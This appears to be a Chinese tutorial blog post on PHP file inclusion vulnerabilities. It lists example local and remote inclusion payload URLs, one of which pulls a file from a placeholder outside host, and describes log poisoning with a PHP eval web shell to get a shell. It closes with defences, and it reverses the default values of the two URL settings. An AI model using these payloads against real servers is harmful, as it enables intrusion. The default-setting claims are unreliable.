zoukankan      html  css  js  c++  java
  • 文件包含漏洞

    文件包含漏洞原理:

     
    在通过PHP的相应函数(比如include())引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

    文件包含漏润的形成,需要满足两个条件:

    • 用户可控:用户能够控制文件的内容(向服务器上传一个新的文件、借用服务器已经存在的文件)
    • 后台执行:include()等函数通过动态变量的方式引入需要包含的文件

    常用文件包含函数:

    include():包含并运行指定文件,如果最后仍未找到文件则 include 结构会发出一条警告,只产生警告(E_WARNING),脚本会继续运行

    require():包含并运行指定文件,require 在出错时产生 E_COMPILE_ERROR 级别的错误,停止脚本继续运行

    include_once():include_once 语句在脚本执行期间包含并运行指定文件。此行为和 include 语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含。

    require_once():唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含

    higlight_file():语法高亮一个文件,高亮后的代码不会被打印输出,而是以字符串的形式返回。 高亮成功返回 TRUE

    show_source():对文件进行语法高亮显示,别名 highlight_file()

    readfile():输出文件,读取文件并写入到输出缓冲

    file_get_contents():将整个文件读入一个字符串

    fopen():打开文件或者 URL,将 filename 指定的名字资源绑定到一个流上

    file():把整个文件读入一个数组中

    文件包含漏洞原理介绍:

    两个关键的配置文件:allow_url_include、allow_url_open

    • allow_url_include 是否允许引用URL文件,激活URL形式的fopen封装协议使得可以访问URL对象文件等。

        默认开启

    • allow_url_fopen 是否允许打开URL文件,该选项为on便是允许包含URL对象文件等。

        默认关闭

    如果网站含有phpinfo文件,可通过phpinfo搜索查看网站是否开启allow_url_include、allow_url_open两个选项

    image

    PS:allow_url_include、allow_url_open两个选项同时开启的情况下:还可以远程包含远程服务器的马儿

    本地文件包含:

    payload:http://127.0.0.1/baohan.php?file=文件目录(c:/windows/system.ini)

    image

     

    远程文件包含:

    payload:http://127.0.0.1/baohan.php?file=http://xxx.xxx.xxx.xxx/include.php?file=文件目录(c:/windows/system.ini)

    image

     

    文件包含漏洞利用:

    包含日志文件:

            web服务器,基本上把请求写入到日志文件中,有的是access.log,有的是error.log,所以,我们可以尝试,写一些奇怪的数据,例如<?php eval($_POST['cmd])?>,然后让访问出错,这个就会被记录到日志文件中去,然后,我们利用本地包含,去包含这个日志文件,相当于我们得到了一个shell。

           可以在url里面写入shell数据,也可以在referer或者ua中写入,但是,这个写入尽量要使用抓包改包工具,例如Burp Suite来写入,因为浏览器,会给我们转码。造成包含不成功。

    文件包含漏洞防御:                                      

    1. 设置allow_url_includeallow_url_fopen为关闭;

    2. 使用白名单的方式对包含文件进行限制,或设置可以包含的目录;

    3. 对客户端和服务端做严格的过滤,参数中不允许出现../之类的目录跳转符;

  • 相关阅读:
    类定义(课下选做)
    结对项目第一周
    迭代和JDB
    JAVA 第五周学习总结
    JAVA 第四周学习总结
    JAVA 第三周学习总结
    springcloud-provider-consumer-register
    springcloud-eureka
    springBoot-打包
    spring-Scheduler
  • 原文地址:https://www.cnblogs.com/LeeeBoom/p/12361453.html
Copyright © 2011-2022 走看看